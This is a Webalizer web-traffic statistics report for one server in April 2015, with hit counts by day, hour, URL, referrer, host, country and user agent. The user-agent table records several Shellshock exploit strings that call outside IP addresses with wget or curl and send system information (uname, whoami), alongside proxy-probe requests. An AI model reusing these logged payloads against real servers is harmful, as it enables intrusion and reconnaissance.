Usage Statistics for xvm-30-84.ghst.net

Summary Period: April 2015
Generated 01-May-2015 00:18 CEST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Locations]

Monthly Statistics for April 2015
Total Hits 37901
Total Files 12898
Total Pages 35162
Total Visits 9562
Total kB Files 11402
Total kB In 0
Total kB Out 0
Total Unique Sites 5752
Total Unique URLs 14
Total Unique Referrers 195
Total Unique User Agents 595
. Avg Max
Hits per Hour 52 695
Hits per Day 1263 2236
Files per Day 429 494
Pages per Day 1172 2106
Visits per Day 318 372
kB Files per Day 380 785
kB In per Day 0 0
kB Out per Day 0 0
Hits by Response Code
Code 200 - OK 12898
Code 206 - Partial Content 31
Code 304 - Not Modified 118
Code 400 - Bad Request 67
Code 403 - Forbidden 11
Code 404 - Not Found 11324
Code 405 - Method Not Allowed 99
Code 408 - Request Timeout 13353

Daily usage for April 2015

Daily Statistics for April 2015
Day Hits Files Pages Visits Sites kB F kB In kB Out
1 1338 3.53% 476 3.69% 1266 3.60% 372 3.89% 357 6.21% 469 4.11% 0 0.00% 0 0.00%
2 1166 3.08% 435 3.37% 1072 3.05% 331 3.46% 330 5.74% 307 2.69% 0 0.00% 0 0.00%
3 1164 3.07% 443 3.43% 1079 3.07% 325 3.40% 322 5.60% 465 4.07% 0 0.00% 0 0.00%
4 1349 3.56% 419 3.25% 1268 3.61% 291 3.04% 304 5.29% 379 3.32% 0 0.00% 0 0.00%
5 1266 3.34% 431 3.34% 1189 3.38% 317 3.32% 333 5.79% 350 3.07% 0 0.00% 0 0.00%
6 1523 4.02% 494 3.83% 1394 3.96% 369 3.86% 397 6.90% 469 4.11% 0 0.00% 0 0.00%
7 1166 3.08% 457 3.54% 1035 2.94% 356 3.72% 371 6.45% 360 3.16% 0 0.00% 0 0.00%
8 1819 4.80% 428 3.32% 1731 4.92% 331 3.46% 322 5.60% 568 4.98% 0 0.00% 0 0.00%
9 1857 4.90% 473 3.67% 1700 4.83% 371 3.88% 374 6.50% 673 5.90% 0 0.00% 0 0.00%
10 1341 3.54% 424 3.29% 1297 3.69% 312 3.26% 288 5.01% 413 3.62% 0 0.00% 0 0.00%
11 1155 3.05% 428 3.32% 1048 2.98% 337 3.52% 347 6.03% 361 3.17% 0 0.00% 0 0.00%
12 2236 5.90% 450 3.49% 2106 5.99% 343 3.59% 339 5.89% 785 6.88% 0 0.00% 0 0.00%
13 1364 3.60% 409 3.17% 1175 3.34% 310 3.24% 321 5.58% 439 3.85% 0 0.00% 0 0.00%
14 990 2.61% 430 3.33% 877 2.49% 335 3.50% 343 5.96% 305 2.68% 0 0.00% 0 0.00%
15 1437 3.79% 437 3.39% 1362 3.87% 343 3.59% 335 5.82% 424 3.72% 0 0.00% 0 0.00%
16 1087 2.87% 431 3.34% 997 2.84% 314 3.28% 322 5.60% 391 3.43% 0 0.00% 0 0.00%
17 995 2.63% 431 3.34% 909 2.59% 308 3.22% 317 5.51% 316 2.77% 0 0.00% 0 0.00%
18 1196 3.16% 416 3.23% 1115 3.17% 318 3.33% 314 5.46% 359 3.15% 0 0.00% 0 0.00%
19 1303 3.44% 398 3.09% 1227 3.49% 298 3.12% 298 5.18% 369 3.23% 0 0.00% 0 0.00%
20 1501 3.96% 443 3.43% 1364 3.88% 358 3.74% 365 6.35% 342 3.00% 0 0.00% 0 0.00%
21 1068 2.82% 417 3.23% 967 2.75% 273 2.86% 288 5.01% 363 3.19% 0 0.00% 0 0.00%
22 934 2.46% 409 3.17% 869 2.47% 242 2.53% 254 4.42% 289 2.53% 0 0.00% 0 0.00%
23 1121 2.96% 453 3.51% 1049 2.98% 335 3.50% 333 5.79% 324 2.85% 0 0.00% 0 0.00%
24 976 2.58% 416 3.23% 888 2.53% 332 3.47% 340 5.91% 324 2.84% 0 0.00% 0 0.00%
25 937 2.47% 386 2.99% 889 2.53% 270 2.82% 270 4.69% 244 2.14% 0 0.00% 0 0.00%
26 1312 3.46% 416 3.23% 1261 3.59% 328 3.43% 328 5.70% 261 2.29% 0 0.00% 0 0.00%
27 964 2.54% 403 3.12% 903 2.57% 312 3.26% 325 5.65% 263 2.30% 0 0.00% 0 0.00%
28 1095 2.89% 395 3.06% 1054 3.00% 309 3.23% 300 5.22% 258 2.26% 0 0.00% 0 0.00%
29 1093 2.88% 411 3.19% 983 2.80% 283 2.96% 300 5.22% 298 2.61% 0 0.00% 0 0.00%
30 1148 3.03% 439 3.40% 1088 3.09% 273 2.86% 269 4.68% 235 2.06% 0 0.00% 0 0.00%

Hourly usage for April 2015

Hourly Statistics for April 2015
Hour Hits Files Pages kB F kB In kB Out
Avg Total Avg Total Avg Total Avg Total Avg Total Avg Total
0 42 1289 3.40% 17 535 4.15% 39 1185 3.37% 17 517 4.54% 0 0 0.00% 0 0 0.00%
1 33 1006 2.65% 17 531 4.12% 29 896 2.55% 13 389 3.41% 0 0 0.00% 0 0 0.00%
2 36 1089 2.87% 17 519 4.02% 33 1009 2.87% 14 428 3.75% 0 0 0.00% 0 0 0.00%
3 31 959 2.53% 16 499 3.87% 28 850 2.42% 12 370 3.24% 0 0 0.00% 0 0 0.00%
4 30 909 2.40% 17 512 3.97% 27 822 2.34% 13 377 3.31% 0 0 0.00% 0 0 0.00%
5 26 781 2.06% 16 509 3.95% 23 709 2.02% 11 318 2.79% 0 0 0.00% 0 0 0.00%
6 30 922 2.43% 16 498 3.86% 28 845 2.40% 13 383 3.36% 0 0 0.00% 0 0 0.00%
7 39 1183 3.12% 17 524 4.06% 36 1094 3.11% 14 424 3.72% 0 0 0.00% 0 0 0.00%
8 49 1480 3.90% 17 519 4.02% 43 1302 3.70% 19 556 4.88% 0 0 0.00% 0 0 0.00%
9 54 1631 4.30% 16 506 3.92% 51 1534 4.36% 19 569 4.99% 0 0 0.00% 0 0 0.00%
10 45 1371 3.62% 17 520 4.03% 39 1191 3.39% 14 406 3.56% 0 0 0.00% 0 0 0.00%
11 70 2128 5.61% 18 548 4.25% 67 2020 5.74% 18 547 4.80% 0 0 0.00% 0 0 0.00%
12 56 1691 4.46% 18 543 4.21% 53 1593 4.53% 16 476 4.18% 0 0 0.00% 0 0 0.00%
13 57 1731 4.57% 18 541 4.19% 53 1601 4.55% 15 440 3.86% 0 0 0.00% 0 0 0.00%
14 91 2733 7.21% 18 556 4.31% 85 2567 7.30% 31 922 8.08% 0 0 0.00% 0 0 0.00%
15 53 1610 4.25% 18 544 4.22% 49 1493 4.25% 16 486 4.26% 0 0 0.00% 0 0 0.00%
16 60 1800 4.75% 23 690 5.35% 55 1678 4.77% 17 521 4.57% 0 0 0.00% 0 0 0.00%
17 65 1964 5.18% 20 618 4.79% 62 1868 5.31% 16 491 4.31% 0 0 0.00% 0 0 0.00%
18 56 1709 4.51% 19 595 4.61% 53 1601 4.55% 14 424 3.72% 0 0 0.00% 0 0 0.00%
19 57 1731 4.57% 17 513 3.98% 54 1631 4.64% 12 347 3.05% 0 0 0.00% 0 0 0.00%
20 68 2064 5.45% 17 537 4.16% 64 1931 5.49% 15 439 3.85% 0 0 0.00% 0 0 0.00%
21 82 2481 6.55% 17 517 4.01% 79 2397 6.82% 18 538 4.72% 0 0 0.00% 0 0 0.00%
22 69 2083 5.50% 16 500 3.88% 63 1901 5.41% 20 592 5.19% 0 0 0.00% 0 0 0.00%
23 51 1556 4.11% 17 524 4.06% 48 1444 4.11% 15 442 3.87% 0 0 0.00% 0 0 0.00%

Top 13 of 14 Total URLs
# Hits kB F kB In kB Out URL
1 12925 34.10% 5723 50.19% 0 0.00% 0 0.00% /
2 30 0.08% 13 0.12% 0 0.00% 0 0.00% http://www.baidu.com/
3 22 0.06% 10 0.09% 0 0.00% 0 0.00% http://www.haosou.com/
4 21 0.06% 9 0.08% 0 0.00% 0 0.00% http://www.sogou.com/
5 20 0.05% 9 0.08% 0 0.00% 0 0.00% http://sg.search.yahoo.com/
6 7 0.02% 14 0.12% 0 0.00% 0 0.00% /webalizer/
7 6 0.02% 3 0.02% 0 0.00% 0 0.00% http://24x7-allrequestsallowed.com/
8 4 0.01% 2 0.02% 0 0.00% 0 0.00% http://cn.bing.com/
9 4 0.01% 2 0.02% 0 0.00% 0 0.00% http://www.baidu.com
10 3 0.01% 1 0.01% 0 0.00% 0 0.00% http://www.taobao.com/
11 2 0.01% 1 0.01% 0 0.00% 0 0.00% http://image.baidu.com/
12 1 0.00% 0 0.00% 0 0.00% 0 0.00% http://5.61.43.116/
13 1 0.00% 0 0.00% 0 0.00% 0 0.00% http://search.yahoo.com/

Top 10 of 14 Total URLs By kB F
# Hits kB F kB In kB Out URL
1 12925 34.10% 5723 50.19% 0 0.00% 0 0.00% /
2 7 0.02% 14 0.12% 0 0.00% 0 0.00% /webalizer/
3 30 0.08% 13 0.12% 0 0.00% 0 0.00% http://www.baidu.com/
4 22 0.06% 10 0.09% 0 0.00% 0 0.00% http://www.haosou.com/
5 21 0.06% 9 0.08% 0 0.00% 0 0.00% http://www.sogou.com/
6 20 0.05% 9 0.08% 0 0.00% 0 0.00% http://sg.search.yahoo.com/
7 6 0.02% 3 0.02% 0 0.00% 0 0.00% http://24x7-allrequestsallowed.com/
8 4 0.01% 2 0.02% 0 0.00% 0 0.00% http://cn.bing.com/
9 4 0.01% 2 0.02% 0 0.00% 0 0.00% http://www.baidu.com
10 3 0.01% 1 0.01% 0 0.00% 0 0.00% http://www.taobao.com/

Top 10 of 11 Total Entry Pages
# Hits Visits URL
1 12925 34.10% 3947 97.41% /
2 30 0.08% 29 0.72% http://www.baidu.com/
3 21 0.06% 21 0.52% http://www.sogou.com/
4 20 0.05% 18 0.44% http://sg.search.yahoo.com/
5 22 0.06% 18 0.44% http://www.haosou.com/
6 6 0.02% 6 0.15% http://24x7-allrequestsallowed.com/
7 7 0.02% 4 0.10% /webalizer/
8 4 0.01% 3 0.07% http://cn.bing.com/
9 3 0.01% 3 0.07% http://www.taobao.com/
10 2 0.01% 2 0.05% http://image.baidu.com/

Top 7 of 7 Total Exit Pages
# Hits Visits URL
1 12925 34.10% 524 90.19% /
2 30 0.08% 17 2.93% http://www.baidu.com/
3 21 0.06% 14 2.41% http://www.sogou.com/
4 20 0.05% 13 2.24% http://sg.search.yahoo.com/
5 22 0.06% 9 1.55% http://www.haosou.com/
6 4 0.01% 3 0.52% http://cn.bing.com/
7 7 0.02% 1 0.17% /webalizer/

Top 30 of 5752 Total Sites
# Hits Files kB F kB In kB Out Visits Hostname
1 8640 22.80% 8640 66.99% 3822 33.52% 0 0.00% 0 0.00% 1 0.01% Unknown
2 712 1.88% 6 0.05% 359 3.15% 0 0.00% 0 0.00% 2 0.02% 178.216.51.2
3 644 1.70% 0 0.00% 305 2.68% 0 0.00% 0 0.00% 3 0.03% 198.27.64.208
4 430 1.13% 0 0.00% 204 1.79% 0 0.00% 0 0.00% 2 0.02% 199.192.207.146
5 316 0.83% 0 0.00% 150 1.31% 0 0.00% 0 0.00% 2 0.02% 198.27.65.39
6 297 0.78% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.01% 90.8.174.25
7 254 0.67% 0 0.00% 125 1.10% 0 0.00% 0 0.00% 1 0.01% 142.4.197.200
8 250 0.66% 0 0.00% 123 1.08% 0 0.00% 0 0.00% 1 0.01% 192.99.244.68
9 245 0.65% 1 0.01% 123 1.07% 0 0.00% 0 0.00% 1 0.01% 212.33.190.212
10 230 0.61% 2 0.02% 115 1.01% 0 0.00% 0 0.00% 1 0.01% 93.170.77.66
11 223 0.59% 0 0.00% 106 0.93% 0 0.00% 0 0.00% 1 0.01% 199.58.86.209
12 217 0.57% 1 0.01% 103 0.90% 0 0.00% 0 0.00% 2 0.02% 162.210.196.98
13 217 0.57% 0 0.00% 103 0.90% 0 0.00% 0 0.00% 2 0.02% 198.27.66.194
14 215 0.57% 0 0.00% 102 0.89% 0 0.00% 0 0.00% 1 0.01% 69.64.41.236
15 170 0.45% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 3 0.03% 176.180.194.233
16 156 0.41% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 4 0.04% 86.220.150.191
17 122 0.32% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.01% 92.89.57.12
18 118 0.31% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 2 0.02% 90.39.45.21
19 117 0.31% 0 0.00% 62 0.54% 0 0.00% 0 0.00% 1 0.01% 54.246.121.146
20 117 0.31% 0 0.00% 61 0.54% 0 0.00% 0 0.00% 1 0.01% 74.205.252.132
21 116 0.31% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.01% 78.124.134.163
22 115 0.30% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 5 0.05% 115.126.164.160
23 115 0.30% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 3 0.03% 78.112.211.155
24 113 0.30% 0 0.00% 54 0.47% 0 0.00% 0 0.00% 2 0.02% 136.243.5.215
25 113 0.30% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.01% 37.161.252.9
26 112 0.30% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 2 0.02% 78.124.162.247
27 112 0.30% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 5 0.05% 83.201.57.159
28 107 0.28% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.01% 92.90.20.47
29 106 0.28% 0 0.00% 50 0.44% 0 0.00% 0 0.00% 1 0.01% 188.40.114.215
30 106 0.28% 2 0.02% 50 0.44% 0 0.00% 0 0.00% 3 0.03% 199.58.86.206

Top 10 of 5752 Total Sites By kB F
# Hits Files kB F kB In kB Out Visits Hostname
1 8640 22.80% 8640 66.99% 3822 33.52% 0 0.00% 0 0.00% 1 0.01% Unknown
2 712 1.88% 6 0.05% 359 3.15% 0 0.00% 0 0.00% 2 0.02% 178.216.51.2
3 644 1.70% 0 0.00% 305 2.68% 0 0.00% 0 0.00% 3 0.03% 198.27.64.208
4 430 1.13% 0 0.00% 204 1.79% 0 0.00% 0 0.00% 2 0.02% 199.192.207.146
5 316 0.83% 0 0.00% 150 1.31% 0 0.00% 0 0.00% 2 0.02% 198.27.65.39
6 254 0.67% 0 0.00% 125 1.10% 0 0.00% 0 0.00% 1 0.01% 142.4.197.200
7 250 0.66% 0 0.00% 123 1.08% 0 0.00% 0 0.00% 1 0.01% 192.99.244.68
8 245 0.65% 1 0.01% 123 1.07% 0 0.00% 0 0.00% 1 0.01% 212.33.190.212
9 230 0.61% 2 0.02% 115 1.01% 0 0.00% 0 0.00% 1 0.01% 93.170.77.66
10 223 0.59% 0 0.00% 106 0.93% 0 0.00% 0 0.00% 1 0.01% 199.58.86.209

Top 30 of 195 Total Referrers
# Hits Referrer
1 34298 90.49% - (Direct Request)
2 1898 5.01% http://www.be-one-formation.fr/wp-login.php
3 1088 2.87% http://google.com
4 31 0.08% http://fashionlogbook.fr
5 31 0.08% http://www.shinzoparis.com
6 30 0.08% http://shinzo.fr
7 29 0.08% http://www.pogonotomie.fr
8 26 0.07% http://forum.wordup-traduction.com/
9 18 0.05% http://hvd-store.com/
10 16 0.04% http://mp3downandro.com/api/search
11 16 0.04% http://www.anjouweb.fr
12 12 0.03% http://pogonotomie.fr
13 10 0.03% http://92.243.30.84/rom-0
14 10 0.03% http://getxd.com
15 10 0.03% http://shop.shinzoparis.com/
16 9 0.02% http://artenvigne.com/
17 9 0.02% http://shinzoparis.com/index.php/products.html
18 8 0.02% http://cheminee-poele-angers.com/
19 8 0.02% http://www.shinzoparis.com/index.php/products.html
20 7 0.02% http://burger-imperia.com/
21 7 0.02% http://chateauparadis.net/
22 6 0.02% ()
23 6 0.02% http://chateaufonscolombe.com/
24 5 0.01% http://calendriers-effacables.com/
25 5 0.01% http://domainedefonscolombe.com/
26 5 0.01% http://musiqueenvigne.com
27 5 0.01% http://www.netcraft.com/survey/
28 4 0.01% http://anjou-web.fr/
29 4 0.01% http://artenvigne.fr/
30 4 0.01% http://cheminee-poele-angers.com

Top 2 of 2 Total Search Strings
# Hits Search String
1 1 50.00% free proxy checker
2 1 50.00% restaurant-fontevraud.com

Top 15 of 595 Total User Agents
# Hits User Agent
1 8640 22.80% Mozilla/5.0 (ISPConfig monitor)
2 3252 8.58% Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
3 1120 2.96% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
4 808 2.13% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
5 747 1.97% Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
6 453 1.20% () { :;};/usr/bin/perl -e 'print \"Content-Type
7 444 1.17% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
8 417 1.10% Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safa
9 332 0.88% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
10 320 0.84% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
11 312 0.82% NerdyBot
12 307 0.81% () { :; }; wget -qO - http://85.18.113.32/gate.php?w1-`uname`-`uname -p`-`whoami`
13 306 0.81% () { :; }; curl http://85.18.113.32/gate.php?w1-`uname`-`uname -p`-`whoami`
14 262 0.69% () { :; }; wget -qO - http://54.248.244.82/s.php?w1-`uname`-`uname -p`-`whoami`
15 213 0.56% () { :; }; curl http://54.248.244.82/s.php?c1-`uname -p`

Usage by Location for April 2015

Top 30 of 81 Total Locations
# Hits Files kB F kB In kB Out Location
1 12755 33.65% 9297 72.08% 5415 47.50% 0 0.00% 0 0.00% Unresolved/Unknown
2 10732 28.32% 101 0.78% 183 1.60% 0 0.00% 0 0.00% France
3 4478 11.81% 1741 13.50% 2054 18.01% 0 0.00% 0 0.00% United States
4 3239 8.55% 1314 10.19% 891 7.81% 0 0.00% 0 0.00% China
5 1726 4.55% 25 0.19% 858 7.52% 0 0.00% 0 0.00% Italy
6 724 1.91% 8 0.06% 360 3.16% 0 0.00% 0 0.00% Sweden
7 715 1.89% 94 0.73% 317 2.78% 0 0.00% 0 0.00% Germany
8 478 1.26% 15 0.12% 134 1.18% 0 0.00% 0 0.00% Canada
9 355 0.94% 90 0.70% 172 1.51% 0 0.00% 0 0.00% Ukraine
10 338 0.89% 52 0.40% 126 1.11% 0 0.00% 0 0.00% Netherlands
11 289 0.76% 61 0.47% 137 1.20% 0 0.00% 0 0.00% Russian Federation
12 245 0.65% 1 0.01% 123 1.07% 0 0.00% 0 0.00% Saudi Arabia
13 231 0.61% 2 0.02% 116 1.02% 0 0.00% 0 0.00% Kazakhstan
14 141 0.37% 3 0.02% 16 0.14% 0 0.00% 0 0.00% Belgium
15 123 0.32% 0 0.00% 57 0.50% 0 0.00% 0 0.00% Bulgaria
16 117 0.31% 0 0.00% 0 0.00% 0 0.00% 0 0.00% New Caledonia
17 88 0.23% 0 0.00% 41 0.36% 0 0.00% 0 0.00% Zimbabwe
18 81 0.21% 1 0.01% 41 0.36% 0 0.00% 0 0.00% South Africa
19 78 0.21% 11 0.09% 30 0.27% 0 0.00% 0 0.00% Great Britain (UK)
20 74 0.20% 2 0.02% 22 0.19% 0 0.00% 0 0.00% Korea (South)
21 62 0.16% 3 0.02% 31 0.27% 0 0.00% 0 0.00% Viet Nam
22 60 0.16% 1 0.01% 29 0.25% 0 0.00% 0 0.00% Mexico
23 57 0.15% 34 0.26% 19 0.16% 0 0.00% 0 0.00% Spain
24 50 0.13% 2 0.02% 4 0.04% 0 0.00% 0 0.00% Japan
25 48 0.13% 4 0.03% 23 0.20% 0 0.00% 0 0.00% Turkey
26 46 0.12% 0 0.00% 22 0.20% 0 0.00% 0 0.00% Taiwan
27 43 0.11% 6 0.05% 3 0.02% 0 0.00% 0 0.00% Switzerland
28 42 0.11% 4 0.03% 8 0.07% 0 0.00% 0 0.00% Brazil
29 41 0.11% 1 0.01% 19 0.17% 0 0.00% 0 0.00% Romania
30 34 0.09% 1 0.01% 16 0.14% 0 0.00% 0 0.00% India


Generated by Webalizer Version 2.01